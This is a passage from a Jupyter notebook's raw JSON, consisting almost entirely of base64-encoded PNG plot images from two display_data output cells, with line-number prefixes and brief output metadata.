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\n", 596 | "text/plain": [ 597 | "
" 598 | ] 599 | }, 600 | "metadata": { 601 | "tags": [], 602 | "needs_background": "light" 603 | } 604 | }, 605 | { 606 | "output_type": "display_data", 607 | "data": { 608 | "image/png": "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